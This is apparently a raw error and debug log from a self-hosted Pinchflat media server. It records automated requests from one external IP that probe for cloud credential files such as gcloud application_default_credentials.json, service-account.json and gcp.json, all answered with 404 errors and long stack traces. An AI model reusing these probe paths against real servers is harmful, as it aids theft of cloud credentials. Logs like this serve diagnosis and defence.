Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9828.0>, params: %{}, path_info: ["home", "node", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/node/.config/gcloud/application_default_credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCEF1VOKUkmYAA44B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9827.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/node/.config/gcloud/application_default_credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9827.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.config/gcloud/application_default_credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55040}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9828.0>, params: %{}, path_info: ["home", "node", ".config", "gcloud", "application_default_credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +ht (truncated) 15:22:10.294 [info] GET /app/credentials.json 15:22:10.294 [debug] QUERY OK source="settings" db=0.0ms idle=705.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.295 [debug] QUERY OK source="settings" db=0.0ms idle=473.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.295 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:10.295 [error] #PID<0.9830.0> running PinchflatWeb.Endpoint (connection #PID<0.9829.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app/credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9829.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9830.0>, params: %{}, path_info: ["app", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCE96aT0b-KEAAIeD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9829.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9829.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55052}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9830.0>, params: %{}, path_info: ["app", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-r (truncated) 15:22:10.533 [info] GET /app/service-account.json 15:22:10.534 [debug] QUERY OK source="settings" db=0.0ms idle=474.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.534 [debug] QUERY OK source="settings" db=0.0ms idle=474.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.534 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:10.534 [error] #PID<0.9832.0> running PinchflatWeb.Endpoint (connection #PID<0.9831.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app/service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9831.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55064}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9832.0>, params: %{}, path_info: ["app", "service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCF2-3iGKVaYAAIfD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9831.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55064}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9831.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55064}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9832.0>, params: %{}, path_info: ["app", "service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cac (truncated) 15:22:10.617 [info] GET / 15:22:10.617 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:10.617 [debug] QUERY OK source="settings" db=0.1ms idle=322.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.617 [debug] QUERY OK source="media_profiles" db=0.0ms idle=322.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:10.618 [debug] QUERY OK source="sources" db=0.0ms idle=87.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:10.619 [debug] QUERY OK source="media_items" db=0.9ms idle=83.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:10.619 [debug] QUERY OK source="media_items" db=0.2ms idle=84.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:10.619 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.619 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.620 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.620 [debug] QUERY OK source="media_items" db=0.1ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:10.621 [debug] QUERY OK source="media_items" db=0.5ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:10.621 [debug] QUERY OK source="sources" db=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:10.624 [debug] QUERY OK source="media_items" db=2.5ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:10.627 [debug] QUERY OK source="media_items" db=2.5ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:10.627 [debug] QUERY OK source="tasks" db=0.0ms idle=6.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:10.627 [info] Sent 200 in 10ms 15:22:10.772 [info] GET /config/gcp.json 15:22:10.772 [debug] QUERY OK source="settings" db=0.1ms idle=151.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.772 [debug] QUERY OK source="settings" db=0.0ms idle=151.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:10.772 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:10.773 [error] #PID<0.9836.0> running 